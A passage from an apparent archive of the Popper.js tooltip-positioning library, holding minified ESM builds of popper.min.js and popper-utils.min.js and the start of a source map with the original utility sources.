0?arguments[5]:0;if(-1===e.indexOf('auto'))return e;var p=B(o,n,r,i),s={top:{width:p.width,height:t.top-p.top},right:{width:p.right-t.right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return D({key:e},s[e],{area:A(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,n=e.height;return t>=o.clientWidth&&n>=o.clientHeight}),l=0<a.length?a[0].key:d[0].key,f=e.split('-')[1];return l+(f?'-'+f:'')}function F(e,t,o){var n=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null,i=n?H(t):y(t,o);return P(o,i,n)}function I(e){var t=e.ownerDocument.defaultView,o=t.getComputedStyle(e),n=parseFloat(o.marginTop)+parseFloat(o.marginBottom),i=parseFloat(o.marginLeft)+parseFloat(o.marginRight),r={width:e.offsetWidth+i,height:e.offsetHeight+n};return r}function R(e){var t={left:'right',right:'left',bottom:'top',top:'bottom'};return e.replace(/left|right|bottom|top/g,function(e){return t[e]})}function U(e,t,o){o=o.split('-')[0];var n=I(e),i={width:n.width,height:n.height},r=-1!==['right','left'].indexOf(o),p=r?'top':'left',s=r?'left':'top',d=r?'height':'width',a=r?'width':'height';return i[p]=t[p]+t[d]/2-n[d]/2,i[s]=o===s?t[s]-n[a]:t[R(s)],i}function Y(e,t){return Array.prototype.find?e.find(t):e.filter(t)[0]}function V(e,t,o){if(Array.prototype.findIndex)return e.findIndex(function(e){return e[t]===o});var n=Y(e,function(e){return e[t]===o});return e.indexOf(n)}function K(e,t,o){var n=void 0===o?e:e.slice(0,V(e,'name',o));return n.forEach(function(e){e['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var o=e['function']||e.fn;e.enabled&&d(o)&&(t.offsets.popper=C(t.offsets.popper),t.offsets.reference=C(t.offsets.reference),t=o(t,e))}),t}function q(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};e.offsets.reference=F(this.state,this.popper,this.reference,this.options.positionFixed),e.placement=M(this.options.placement,e.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),e.originalPlacement=e.placement,e.positionFixed=this.options.positionFixed,e.offsets.popper=U(this.popper,e.offsets.reference,e.placement),e.offsets.popper.position=this.options.positionFixed?'fixed':'absolute',e=K(this.modifiers,e),this.state.isCreated?this.options.onUpdate(e):(this.state.isCreated=!0,this.options.onCreate(e))}}function j(e,t){return e.some(function(e){var o=e.name,n=e.enabled;return n&&o===t})}function G(e){for(var t=[!1,'ms','Webkit','Moz','O'],o=e.charAt(0).toUpperCase()+e.slice(1),n=0;n<t.length;n++){var i=t[n],r=i?''+i+o:e;if('undefined'!=typeof document.body.style[r])return r}return null}function z(){return this.state.isDestroyed=!0,j(this.modifiers,'applyStyle')&&(this.popper.removeAttribute('x-placement'),this.popper.style.position='',this.popper.style.top='',this.popper.style.left='',this.popper.style.right='',this.popper.style.bottom='',this.popper.style.willChange='',this.popper.style[G('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function _(e){var t=e.ownerDocument;return t?t.defaultView:window}function X(e,t,o,n){var i='BODY'===e.nodeName,r=i?e.ownerDocument.defaultView:e;r.addEventListener(t,o,{passive:!0}),i||X(f(r.parentNode),t,o,n),n.push(r)}function Q(e,t,o,n){o.updateBound=n,_(e).addEventListener('resize',o.updateBound,{passive:!0});var i=f(e);return X(i,'scroll',o.updateBound,o.scrollParents),o.scrollElement=i,o.eventsEnabled=!0,o}function Z(){this.state.eventsEnabled||(this.state=Q(this.reference,this.options,this.state,this.scheduleUpdate))}function $(e,t){return _(e).removeEventListener('resize',t.updateBound),t.scrollParents.forEach(function(e){e.removeEventListener('scroll',t.updateBound)}),t.updateBound=null,t.scrollParents=[],t.scrollElement=null,t.eventsEnabled=!1,t}function J(){this.state.eventsEnabled&&(cancelAnimationFrame(this.scheduleUpdate),this.state=$(this.reference,this.state))}function ee(e){return''!==e&&!isNaN(parseFloat(e))&&isFinite(e)}function te(e,t){Object.keys(t).forEach(function(o){var n='';-1!==['width','height','top','right','bottom','left'].indexOf(o)&&ee(t[o])&&(n='px'),e.style[o]=t[o]+n})}function oe(e,t){Object.keys(t).forEach(function(o){var n=t[o];!1===n?e.removeAttribute(o):e.setAttribute(o,t[o])})}function ne(e){return te(e.instance.popper,e.styles),oe(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&te(e.arrowElement,e.arrowStyles),e}function ie(e,t,o,n,i){var r=F(i,t,e,o.positionFixed),p=M(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),te(t,{position:o.positionFixed?'fixed':'absolute'}),o}function re(e,t){var o=Math.round,n=Math.floor,i=t.x,r=t.y,p=e.offsets.popper,s=Y(e.instance.modifiers,function(e){return'applyStyle'===e.name}).gpuAcceleration;void 0!==s&&console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');var d,a,l=void 0===s?t.gpuAcceleration:s,f=g(e.instance.popper),m=N(f),h={position:p.position},c={left:n(p.left),top:o(p.top),bottom:o(p.bottom),right:n(p.right)},u='bottom'===i?'top':'bottom',b='right'===r?'left':'right',y=G('transform');if(a='bottom'==u?'HTML'===f.nodeName?-f.clientHeight+c.bottom:-m.height+c.bottom:c.top,d='right'==b?'HTML'===f.nodeName?-f.clientWidth+c.right:-m.width+c.right:c.left,l&&y)h[y]='translate3d('+d+'px, '+a+'px, 0)',h[u]=0,h[b]=0,h.willChange='transform';else{var w='bottom'==u?-1:1,E='right'==b?-1:1;h[u]=a*w,h[b]=d*E,h.willChange=u+', '+b}var x={"x-placement":e.placement};return e.attributes=D({},x,e.attributes),e.styles=D({},h,e.styles),e.arrowStyles=D({},e.offsets.arrow,e.arrowStyles),e}function pe(e,t,o){var n=Y(e,function(e){var o=e.name;return o===t}),i=!!n&&e.some(function(e){return e.name===o&&e.enabled&&e.order<n.order});if(!i){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return i}function se(e,t){var o;if(!pe(e.instance.modifiers,'arrow','keepTogether'))return e;var n=t.element;if('string'==typeof n){if(n=e.instance.popper.querySelector(n),!n)return e;}else if(!e.instance.popper.contains(n))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var i=e.placement.split('-')[0],r=e.offsets,p=r.popper,s=r.reference,d=-1!==['left','right'].indexOf(i),l=d?'height':'width',f=d?'Top':'Left',m=f.toLowerCase(),h=d?'left':'top',c=d?'bottom':'right',g=I(n)[l];s[c]-g<p[m]&&(e.offsets.popper[m]-=p[m]-(s[c]-g)),s[m]+g>p[c]&&(e.offsets.popper[m]+=s[m]+g-p[c]),e.offsets.popper=C(e.offsets.popper);var u=s[m]+s[l]/2-g/2,b=a(e.instance.popper),y=parseFloat(b['margin'+f],10),w=parseFloat(b['border'+f+'Width'],10),E=u-e.offsets.popper[m]-y-w;return E=Math.max(Math.min(p[l]-g,E),0),e.arrowElement=n,e.offsets.arrow=(o={},T(o,m,Math.round(E)),T(o,h,''),o),e}function de(e){if('end'===e)return'start';return'start'===e?'end':e}var ae=['auto-start','auto','auto-end','top-start','top','top-end','right-start','right','right-end','bottom-end','bottom','bottom-start','left-end','left','left-start'],le=ae.slice(3);function fe(e){var t=1<arguments.length&&arguments[1]!==void 0&&arguments[1],o=le.indexOf(e),n=le.slice(o+1).concat(le.slice(0,o));return t?n.reverse():n}var me={FLIP:'flip',CLOCKWISE:'clockwise',COUNTERCLOCKWISE:'counterclockwise'};function he(e,t){if(j(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=B(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement,e.positionFixed),n=e.placement.split('-')[0],i=R(n),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case me.FLIP:p=[n,i];break;case me.CLOCKWISE:p=fe(n);break;case me.COUNTERCLOCKWISE:p=fe(n,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(n!==s||p.length===d+1)return e;n=e.placement.split('-')[0],i=R(n);var a=e.offsets.popper,l=e.offsets.reference,f=Math.floor,m='left'===n&&f(a.right)>f(l.left)||'right'===n&&f(a.left)<f(l.right)||'top'===n&&f(a.bottom)>f(l.top)||'bottom'===n&&f(a.top)<f(l.bottom),h=f(a.left)<f(o.left),c=f(a.right)>f(o.right),g=f(a.top)<f(o.top),u=f(a.bottom)>f(o.bottom),b='left'===n&&h||'right'===n&&c||'top'===n&&g||'bottom'===n&&u,y=-1!==['top','bottom'].indexOf(n),w=!!t.flipVariations&&(y&&'start'===r&&h||y&&'end'===r&&c||!y&&'start'===r&&g||!y&&'end'===r&&u);(m||b||w)&&(e.flipped=!0,(m||b)&&(n=p[d+1]),w&&(r=de(r)),e.placement=n+(r?'-'+r:''),e.offsets.popper=D({},e.offsets.popper,U(e.instance.popper,e.offsets.reference,e.placement)),e=K(e.instance.modifiers,e,'flip'))}),e}function ce(e){var t=e.offsets,o=t.popper,n=t.reference,i=e.placement.split('-')[0],r=Math.floor,p=-1!==['top','bottom'].indexOf(i),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]<r(n[d])&&(e.offsets.popper[d]=r(n[d])-o[a]),o[d]>r(n[s])&&(e.offsets.popper[d]=r(n[s])),e}function ge(e,t,o,n){var i=Math.max,r=e.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),p=+r[1],s=r[2];if(!p)return e;if(0===s.indexOf('%')){var d;switch(s){case'%p':d=o;break;case'%':case'%r':default:d=n;}var a=C(d);return a[t]/100*p}if('vh'===s||'vw'===s){var l;return l='vh'===s?i(document.documentElement.clientHeight,window.innerHeight||0):i(document.documentElement.clientWidth,window.innerWidth||0),l/100*p}return p}function ue(e,t,o,n){var i=[0,0],r=-1!==['right','left'].indexOf(n),p=e.split(/(\+|\-)/).map(function(e){return e.trim()}),s=p.indexOf(Y(p,function(e){return-1!==e.search(/,|\s/)}));p[s]&&-1===p[s].indexOf(',')&&console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');var d=/\s*,\s*|\s+/,a=-1===s?[p]:[p.slice(0,s).concat([p[s].split(d)[0]]),[p[s].split(d)[1]].concat(p.slice(s+1))];return a=a.map(function(e,n){var i=(1===n?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return ge(e,i,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,n){ee(o)&&(i[t]+=o*('-'===e[n-1]?-1:1))})}),i}function be(e,t){var o,n=t.offset,i=e.placement,r=e.offsets,p=r.popper,s=r.reference,d=i.split('-')[0];return o=ee(+n)?[+n,0]:ue(n,p,s,d),'left'===d?(p.top+=o[0],p.left-=o[1]):'right'===d?(p.top+=o[0],p.left+=o[1]):'top'===d?(p.left+=o[0],p.top-=o[1]):'bottom'===d&&(p.left+=o[0],p.top+=o[1]),e.popper=p,e}function ye(e,t){var o=t.boundariesElement||g(e.instance.popper);e.instance.reference===o&&(o=g(o));var n=G('transform'),i=e.instance.popper.style,r=i.top,p=i.left,s=i[n];i.top='',i.left='',i[n]='';var d=B(e.instance.popper,e.instance.reference,t.padding,o,e.positionFixed);i.top=r,i.left=p,i[n]=s,t.boundaries=d;var a=t.priority,l=e.offsets.popper,f={primary:function(e){var o=l[e];return l[e]<d[e]&&!t.escapeWithReference&&(o=Math.max(l[e],d[e])),T({},e,o)},secondary:function(e){var o='right'===e?'left':'top',n=l[o];return l[e]>d[e]&&!t.escapeWithReference&&(n=Math.min(l[o],d[e]-('right'===e?l.width:l.height))),T({},o,n)}};return a.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';l=D({},l,f[t](e))}),e.offsets.popper=l,e}function we(e){var t=e.placement,o=t.split('-')[0],n=t.split('-')[1];if(n){var i=e.offsets,r=i.reference,p=i.popper,s=-1!==['bottom','top'].indexOf(o),d=s?'left':'top',a=s?'width':'height',l={start:T({},d,r[d]),end:T({},d,r[d]+r[a]-p[a])};e.offsets.popper=D({},p,l[n])}return e}function Ee(e){if(!pe(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=Y(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottom<o.top||t.left>o.right||t.top>o.bottom||t.right<o.left){if(!0===e.hide)return e;e.hide=!0,e.attributes['x-out-of-boundaries']=''}else{if(!1===e.hide)return e;e.hide=!1,e.attributes['x-out-of-boundaries']=!1}return e}function xe(e){var t=e.placement,o=t.split('-')[0],n=e.offsets,i=n.popper,r=n.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return i[p?'left':'top']=r[o]-(s?i[p?'width':'height']:0),e.placement=R(t),e.offsets.popper=C(i),e}var ve={shift:{order:100,enabled:!0,fn:we},offset:{order:200,enabled:!0,fn:be,offset:0},preventOverflow:{order:300,enabled:!0,fn:ye,priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:ce},arrow:{order:500,enabled:!0,fn:se,element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:he,behavior:'flip',padding:5,boundariesElement:'viewport'},inner:{order:700,enabled:!1,fn:xe},hide:{order:800,enabled:!0,fn:Ee},computeStyle:{order:850,enabled:!0,fn:re,gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:ne,onLoad:ie,gpuAcceleration:void 0}},Oe={placement:'bottom',positionFixed:!1,eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:ve},Le=function(){function e(t,o){var n=this,i=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{};L(this,e),this.scheduleUpdate=function(){return requestAnimationFrame(n.update)},this.update=s(this.update.bind(this)),this.options=D({},e.Defaults,i),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=t&&t.jquery?t[0]:t,this.popper=o&&o.jquery?o[0]:o,this.options.modifiers={},Object.keys(D({},e.Defaults.modifiers,i.modifiers)).forEach(function(t){n.options.modifiers[t]=D({},e.Defaults.modifiers[t]||{},i.modifiers?i.modifiers[t]:{})}),this.modifiers=Object.keys(this.options.modifiers).map(function(e){return D({name:e},n.options.modifiers[e])}).sort(function(e,t){return e.order-t.order}),this.modifiers.forEach(function(e){e.enabled&&d(e.onLoad)&&e.onLoad(n.reference,n.popper,n.options,e,n.state)}),this.update();var r=this.options.eventsEnabled;r&&this.enableEventListeners(),this.state.eventsEnabled=r}return S(e,[{key:'update',value:function(){return q.call(this)}},{key:'destroy',value:function(){return z.call(this)}},{key:'enableEventListeners',value:function(){return Z.call(this)}},{key:'disableEventListeners',value:function(){return J.call(this)}}]),e}();Le.Utils=('undefined'==typeof window?global:window).PopperUtils,Le.placements=ae,Le.Defaults=Oe;export default Le;
//# sourceMappingURL=popper.min.js.map
esm/popper-utils.min.js000064400000024442151677356750011147 0ustar00/*
 Copyright (C) Federico Zivolo 2018
 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).
 */function a(a,b){if(1!==a.nodeType)return[];var c=a.ownerDocument.defaultView,d=c.getComputedStyle(a,null);return b?d[b]:d}function b(a){return'HTML'===a.nodeName?a:a.parentNode||a.host}function c(d){if(!d)return document.body;switch(d.nodeName){case'HTML':case'BODY':return d.ownerDocument.body;case'#document':return d.body;}var e=a(d),f=e.overflow,g=e.overflowX,h=e.overflowY;return /(auto|scroll|overlay)/.test(f+h+g)?d:c(b(d))}var d='undefined'!=typeof window&&'undefined'!=typeof document,e=d&&!!(window.MSInputMethodContext&&document.documentMode),f=d&&/MSIE 10/.test(navigator.userAgent);function g(a){return 11===a?e:10===a?f:e||f}function h(b){if(!b)return document.documentElement;for(var c=g(10)?document.body:null,d=b.offsetParent||null;d===c&&b.nextElementSibling;)d=(b=b.nextElementSibling).offsetParent;var e=d&&d.nodeName;return e&&'BODY'!==e&&'HTML'!==e?-1!==['TH','TD','TABLE'].indexOf(d.nodeName)&&'static'===a(d,'position')?h(d):d:b?b.ownerDocument.documentElement:document.documentElement}function j(a){var b=a.nodeName;return'BODY'!==b&&('HTML'===b||h(a.firstElementChild)===a)}function k(a){return null===a.parentNode?a:k(a.parentNode)}function l(a,b){if(!a||!a.nodeType||!b||!b.nodeType)return document.documentElement;var c=a.compareDocumentPosition(b)&Node.DOCUMENT_POSITION_FOLLOWING,d=c?a:b,e=c?b:a,f=document.createRange();f.setStart(d,0),f.setEnd(e,0);var g=f.commonAncestorContainer;if(a!==g&&b!==g||d.contains(e))return j(g)?g:h(g);var i=k(a);return i.host?l(i.host,b):l(a,k(b).host)}function m(a){var b=1<arguments.length&&arguments[1]!==void 0?arguments[1]:'top',c='top'===b?'scrollTop':'scrollLeft',d=a.nodeName;if('BODY'===d||'HTML'===d){var e=a.ownerDocument.documentElement,f=a.ownerDocument.scrollingElement||e;return f[c]}return a[c]}function n(a,b){var c=2<arguments.length&&void 0!==arguments[2]&&arguments[2],d=m(b,'top'),e=m(b,'left'),f=c?-1:1;return a.top+=d*f,a.bottom+=d*f,a.left+=e*f,a.right+=e*f,a}function o(a,b){var c='x'===b?'Left':'Top',d='Left'==c?'Right':'Bottom';return parseFloat(a['border'+c+'Width'],10)+parseFloat(a['border'+d+'Width'],10)}function p(a,b,c,d){return Math.max(b['offset'+a],b['scroll'+a],c['client'+a],c['offset'+a],c['scroll'+a],g(10)?parseInt(c['offset'+a])+parseInt(d['margin'+('Height'===a?'Top':'Left')])+parseInt(d['margin'+('Height'===a?'Bottom':'Right')]):0)}function q(a){var b=a.body,c=a.documentElement,d=g(10)&&getComputedStyle(c);return{height:p('Height',b,c,d),width:p('Width',b,c,d)}}var r=Object.assign||function(a){for(var b,c=1;c<arguments.length;c++)for(var d in b=arguments[c],b)Object.prototype.hasOwnProperty.call(b,d)&&(a[d]=b[d]);return a};function s(a){return r({},a,{right:a.left+a.width,bottom:a.top+a.height})}function t(b){var c={};try{if(g(10)){c=b.getBoundingClientRect();var d=m(b,'top'),e=m(b,'left');c.top+=d,c.left+=e,c.bottom+=d,c.right+=e}else c=b.getBoundingClientRect()}catch(a){}var f={left:c.left,top:c.top,width:c.right-c.left,height:c.bottom-c.top},h='HTML'===b.nodeName?q(b.ownerDocument):{},i=h.width||b.clientWidth||f.right-f.left,j=h.height||b.clientHeight||f.bottom-f.top,k=b.offsetWidth-i,l=b.offsetHeight-j;if(k||l){var n=a(b);k-=o(n,'x'),l-=o(n,'y'),f.width-=k,f.height-=l}return s(f)}function u(b,d){var e=Math.max,f=2<arguments.length&&void 0!==arguments[2]&&arguments[2],h=g(10),i='HTML'===d.nodeName,j=t(b),k=t(d),l=c(b),m=a(d),o=parseFloat(m.borderTopWidth,10),p=parseFloat(m.borderLeftWidth,10);f&&i&&(k.top=e(k.top,0),k.left=e(k.left,0));var q=s({top:j.top-k.top-o,left:j.left-k.left-p,width:j.width,height:j.height});if(q.marginTop=0,q.marginLeft=0,!h&&i){var r=parseFloat(m.marginTop,10),u=parseFloat(m.marginLeft,10);q.top-=o-r,q.bottom-=o-r,q.left-=p-u,q.right-=p-u,q.marginTop=r,q.marginLeft=u}return(h&&!f?d.contains(l):d===l&&'BODY'!==l.nodeName)&&(q=n(q,d)),q}function v(a){var b=Math.max,c=1<arguments.length&&void 0!==arguments[1]&&arguments[1],d=a.ownerDocument.documentElement,e=u(a,d),f=b(d.clientWidth,window.innerWidth||0),g=b(d.clientHeight,window.innerHeight||0),h=c?0:m(d),i=c?0:m(d,'left'),j={top:h-e.top+e.marginTop,left:i-e.left+e.marginLeft,width:f,height:g};return s(j)}function w(c){var d=c.nodeName;return'BODY'===d||'HTML'===d?!1:!('fixed'!==a(c,'position'))||w(b(c))}function x(b){if(!b||!b.parentElement||g())return document.documentElement;for(var c=b.parentElement;c&&'none'===a(c,'transform');)c=c.parentElement;return c||document.documentElement}function y(a,d,e,f){var g=4<arguments.length&&void 0!==arguments[4]&&arguments[4],h={top:0,left:0},i=g?x(a):l(a,d);if('viewport'===f)h=v(i,g);else{var j;'scrollParent'===f?(j=c(b(d)),'BODY'===j.nodeName&&(j=a.ownerDocument.documentElement)):'window'===f?j=a.ownerDocument.documentElement:j=f;var k=u(j,i,g);if('HTML'===j.nodeName&&!w(i)){var m=q(a.ownerDocument),n=m.height,o=m.width;h.top+=k.top-k.marginTop,h.bottom=n+k.top,h.left+=k.left-k.marginLeft,h.right=o+k.left}else h=k}e=e||0;var p='number'==typeof e;return h.left+=p?e:e.left||0,h.top+=p?e:e.top||0,h.right-=p?e:e.right||0,h.bottom-=p?e:e.bottom||0,h}function z(a){var b=a.width,c=a.height;return b*c}function A(a,b,c,d,e){var f=5<arguments.length&&arguments[5]!==void 0?arguments[5]:0;if(-1===a.indexOf('auto'))return a;var g=y(c,d,f,e),h={top:{width:g.width,height:b.top-g.top},right:{width:g.right-b.right,height:g.height},bottom:{width:g.width,height:g.bottom-b.bottom},left:{width:b.left-g.left,height:g.height}},i=Object.keys(h).map(function(a){return r({key:a},h[a],{area:z(h[a])})}).sort(function(c,a){return a.area-c.area}),j=i.filter(function(a){var b=a.width,d=a.height;return b>=c.clientWidth&&d>=c.clientHeight}),k=0<j.length?j[0].key:i[0].key,l=a.split('-')[1];return k+(l?'-'+l:'')}for(var B=['Edge','Trident','Firefox'],C=0,D=0;D<B.length;D+=1)if(d&&0<=navigator.userAgent.indexOf(B[D])){C=1;break}function i(a){var b=!1;return function(){b||(b=!0,window.Promise.resolve().then(function(){b=!1,a()}))}}function E(a){var b=!1;return function(){b||(b=!0,setTimeout(function(){b=!1,a()},C))}}var F=d&&window.Promise,G=F?i:E;function H(a,b){return Array.prototype.find?a.find(b):a.filter(b)[0]}function I(a,b,c){if(Array.prototype.findIndex)return a.findIndex(function(a){return a[b]===c});var d=H(a,function(a){return a[b]===c});return a.indexOf(d)}function J(a){var b;if('HTML'===a.nodeName){var c=q(a.ownerDocument),d=c.width,e=c.height;b={width:d,height:e,left:0,top:0}}else b={width:a.offsetWidth,height:a.offsetHeight,left:a.offsetLeft,top:a.offsetTop};return s(b)}function K(a){var b=a.ownerDocument.defaultView,c=b.getComputedStyle(a),d=parseFloat(c.marginTop)+parseFloat(c.marginBottom),e=parseFloat(c.marginLeft)+parseFloat(c.marginRight),f={width:a.offsetWidth+e,height:a.offsetHeight+d};return f}function L(a){var b={left:'right',right:'left',bottom:'top',top:'bottom'};return a.replace(/left|right|bottom|top/g,function(a){return b[a]})}function M(a,b,c){c=c.split('-')[0];var d=K(a),e={width:d.width,height:d.height},f=-1!==['right','left'].indexOf(c),g=f?'top':'left',h=f?'left':'top',i=f?'height':'width',j=f?'width':'height';return e[g]=b[g]+b[i]/2-d[i]/2,e[h]=c===h?b[h]-d[j]:b[L(h)],e}function N(a,b,c){var d=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null,e=d?x(b):l(b,c);return u(c,e,d)}function O(a){for(var b=[!1,'ms','Webkit','Moz','O'],c=a.charAt(0).toUpperCase()+a.slice(1),d=0;d<b.length;d++){var e=b[d],f=e?''+e+c:a;if('undefined'!=typeof document.body.style[f])return f}return null}function P(a){return a&&'[object Function]'==={}.toString.call(a)}function Q(a,b){return a.some(function(a){var c=a.name,d=a.enabled;return d&&c===b})}function R(a,b,c){var d=H(a,function(a){var c=a.name;return c===b}),e=!!d&&a.some(function(a){return a.name===c&&a.enabled&&a.order<d.order});if(!e){var f='`'+b+'`';console.warn('`'+c+'`'+' modifier is required by '+f+' modifier in order to work, be sure to include it before '+f+'!')}return e}function S(a){return''!==a&&!isNaN(parseFloat(a))&&isFinite(a)}function T(a){var b=a.ownerDocument;return b?b.defaultView:window}function U(a,b){return T(a).removeEventListener('resize',b.updateBound),b.scrollParents.forEach(function(a){a.removeEventListener('scroll',b.updateBound)}),b.updateBound=null,b.scrollParents=[],b.scrollElement=null,b.eventsEnabled=!1,b}function V(a,b,c){var d=void 0===c?a:a.slice(0,I(a,'name',c));return d.forEach(function(a){a['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var c=a['function']||a.fn;a.enabled&&P(c)&&(b.offsets.popper=s(b.offsets.popper),b.offsets.reference=s(b.offsets.reference),b=c(b,a))}),b}function W(a,b){Object.keys(b).forEach(function(c){var d=b[c];!1===d?a.removeAttribute(c):a.setAttribute(c,b[c])})}function X(a,b){Object.keys(b).forEach(function(c){var d='';-1!==['width','height','top','right','bottom','left'].indexOf(c)&&S(b[c])&&(d='px'),a.style[c]=b[c]+d})}function Y(a,b,d,e){var f='BODY'===a.nodeName,g=f?a.ownerDocument.defaultView:a;g.addEventListener(b,d,{passive:!0}),f||Y(c(g.parentNode),b,d,e),e.push(g)}function Z(a,b,d,e){d.updateBound=e,T(a).addEventListener('resize',d.updateBound,{passive:!0});var f=c(a);return Y(f,'scroll',d.updateBound,d.scrollParents),d.scrollElement=f,d.eventsEnabled=!0,d}var $={computeAutoPlacement:A,debounce:G,findIndex:I,getBordersSize:o,getBoundaries:y,getBoundingClientRect:t,getClientRect:s,getOffsetParent:h,getOffsetRect:J,getOffsetRectRelativeToArbitraryNode:u,getOuterSizes:K,getParentNode:b,getPopperOffsets:M,getReferenceOffsets:N,getScroll:m,getScrollParent:c,getStyleComputedProperty:a,getSupportedPropertyName:O,getWindowSizes:q,isFixed:w,isFunction:P,isModifierEnabled:Q,isModifierRequired:R,isNumeric:S,removeEventListeners:U,runModifiers:V,setAttributes:W,setStyles:X,setupEventListeners:Z};export{A as computeAutoPlacement,G as debounce,I as findIndex,o as getBordersSize,y as getBoundaries,t as getBoundingClientRect,s as getClientRect,h as getOffsetParent,J as getOffsetRect,u as getOffsetRectRelativeToArbitraryNode,K as getOuterSizes,b as getParentNode,M as getPopperOffsets,N as getReferenceOffsets,m as getScroll,c as getScrollParent,a as getStyleComputedProperty,O as getSupportedPropertyName,q as getWindowSizes,w as isFixed,P as isFunction,Q as isModifierEnabled,R as isModifierRequired,S as isNumeric,U as removeEventListeners,V as runModifiers,W as setAttributes,X as setStyles,Z as setupEventListeners};export default $;
//# sourceMappingURL=popper-utils.min.js.map
esm/popper-utils.min.js.map000064400000147720151677356750011730 0ustar00{"version":3,"file":"popper-utils.min.js","sources":["../../src/utils/getStyleComputedProperty.js","../../src/utils/getParentNode.js","../../src/utils/getScrollParent.js","../../src/utils/isBrowser.js","../../src/utils/isIE.js","../../src/utils/getOffsetParent.js","../../src/utils/isOffsetContainer.js","../../src/utils/getRoot.js","../../src/utils/findCommonOffsetParent.js","../../src/utils/getScroll.js","../../src/utils/includeScroll.js","../../src/utils/getBordersSize.js","../../src/utils/getWindowSizes.js","../../src/utils/getClientRect.js","../../src/utils/getBoundingClientRect.js","../../src/utils/getOffsetRectRelativeToArbitraryNode.js","../../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../../src/utils/isFixed.js","../../src/utils/getFixedPositionOffsetParent.js","../../src/utils/getBoundaries.js","../../src/utils/computeAutoPlacement.js","../../src/utils/debounce.js","../../src/utils/find.js","../../src/utils/findIndex.js","../../src/utils/getOffsetRect.js","../../src/utils/getOuterSizes.js","../../src/utils/getOppositePlacement.js","../../src/utils/getPopperOffsets.js","../../src/utils/getReferenceOffsets.js","../../src/utils/getSupportedPropertyName.js","../../src/utils/isFunction.js","../../src/utils/isModifierEnabled.js","../../src/utils/isModifierRequired.js","../../src/utils/isNumeric.js","../../src/utils/getWindow.js","../../src/utils/removeEventListeners.js","../../src/utils/runModifiers.js","../../src/utils/setAttributes.js","../../src/utils/setStyles.js","../../src/utils/setupEventListeners.js","../../src/utils/index.js"],"sourcesContent":["/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns 